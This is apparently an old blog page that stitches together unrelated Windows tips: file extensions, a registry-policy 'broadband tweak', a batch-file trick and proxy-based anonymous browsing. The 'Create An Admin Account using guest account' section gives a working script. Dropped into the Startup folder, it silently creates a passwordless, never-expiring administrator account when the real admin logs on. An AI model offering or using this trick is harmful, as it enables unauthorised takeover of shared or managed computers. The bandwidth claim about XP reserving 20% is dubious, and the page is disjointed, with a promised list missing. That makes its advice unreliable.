identify unknown file format in ur computer

Managing files is one of the most important things to learn in order to use Windows properly. There is a lot more involved than the basic functions like copy, delete, and move. Unfortunately, the subject is poorly understood by many people. One mystery is file extensions. Another is the annoying things that can happen when new software changes your file associations. Find out what to do about it. Understanding file extensions and knowing how to manage your file associations can be productive in many ways. Learn how here.
What Are Extensions and What Do They Do?
You will recall that in the Windows operating system, most files have names with the format filename.ext where .ext is the extension. An extension is not absolutely required but most files have one in their name. Extensions are often, but not necessarily, three characters. Their function is to tell the computer what the file type is and what is to be done with the file when it is opened or double-clicked or otherwise invoked one way or the other. When the operating system is presented with a file for action (e.g., when you double-click it), the Registry is consulted where a list of file types and their extensions is kept. The list contains what actions are possible for that particular file, which software is supposed to carry out the action, and where on the computer that software is located (the path).
By being aware of the role of an extension, a user can make intelligent decisions about how (or whether) to use a file. For example, e-mail viruses are usually spread by means of attachments with one of the executable extensions such as .exe, .vbs or .scr. An informed user will be able to recognize the danger in indiscriminately opening such attachments and will be prepared to take appropriate action.
Unfortunately,there are thousands of file extensions. Although most of us encounter only a few of the common ones, there are times when you might need to look up a particular file extension. Because file extensions are so important, the Web is full of lists that explain the many different extensions.

Here’s a few (in no particular order):

Broadband Tweak To Boost Up Internet Speed

This is for broad band connections. I didn’t try it on dial up but might work for dial up.
1.make sure your logged on as actually "Administrator". do not log on with any account that just has administrator privileges.
2. start - run - type gpedit.msc
3. expand the "local computer policy" branch
4. expand the "administrative templates" branch
5. expand the "network branch"
6. Highlight the "QoS Packet Scheduler" in left window
7. in right window double click the "limit reservable bandwidth" setting
8. on setting tab check the "enabled" item
9. where it says "Bandwidth limit %" change it to read 0
reboot if you want to but not necessary on some systems your all done. Effect is immediate on some systems. some need re-boot. I have one machine that needs to reboot first, the others didn't. Don't know why this is.

This is more of a "counter what XP does" thing. In other words, XP seems to want to reserve 20% of the bandwidth for its self. Even with QoS disabled, even when this item is disabled. So why not use it to your advantage. To demonstrate the problem with this on stand alone machines start up a big download from a server with an FTP client. Try to find a server that doesn't max out your bandwidth. In this case you want a slow to medium speed server to demonstrate this. Let it run for a couple of minutes to get stable. The start up another download from the same server with another instance of your FTP client. You will notice that the available bandwidth is now being fought over and one of the clients download will be very slow or both will slow down when they should both be using the available bandwidth. Using this "tweak" both clients will have a fair share of the bandwidth and will not fight over the bandwidth.

Create An Admin Account using guest account

"donot misuse it"
Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Step 3: There is no step 3.
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

anonymous surfing using firefox

computers in internet are identified thru ip addresses which are unique to each system
. These are similar to our real world postal address or like our cellphone number.
we donot wish to give either our cell no or our address to an intruder.
In the same manner hiding ur ip address in the net has got utmost importance.
why iam i saying all this is bcoz usually if any hacker gets some working ip address he portscans the computers looking for any open ports("they are like doors of our house in te real world we dont want our doors kept open in the night am i right") on our system .if he finds any open port he will try to hack by sending some trojans disguised as updates to antivirus. so if we hide our ip address then no one ever gets our ip thus v are secure to do this v hav to browse the net thru a proxy server .they are like masks protecting our anonymity they give away their ip instead of ours thus protecting us .This is also one of the common methods used by hackers to secure their identity from being caught by fbi or interpol .....................

firefox serves as an excellent tool for staying anonymous on this cyberworld.
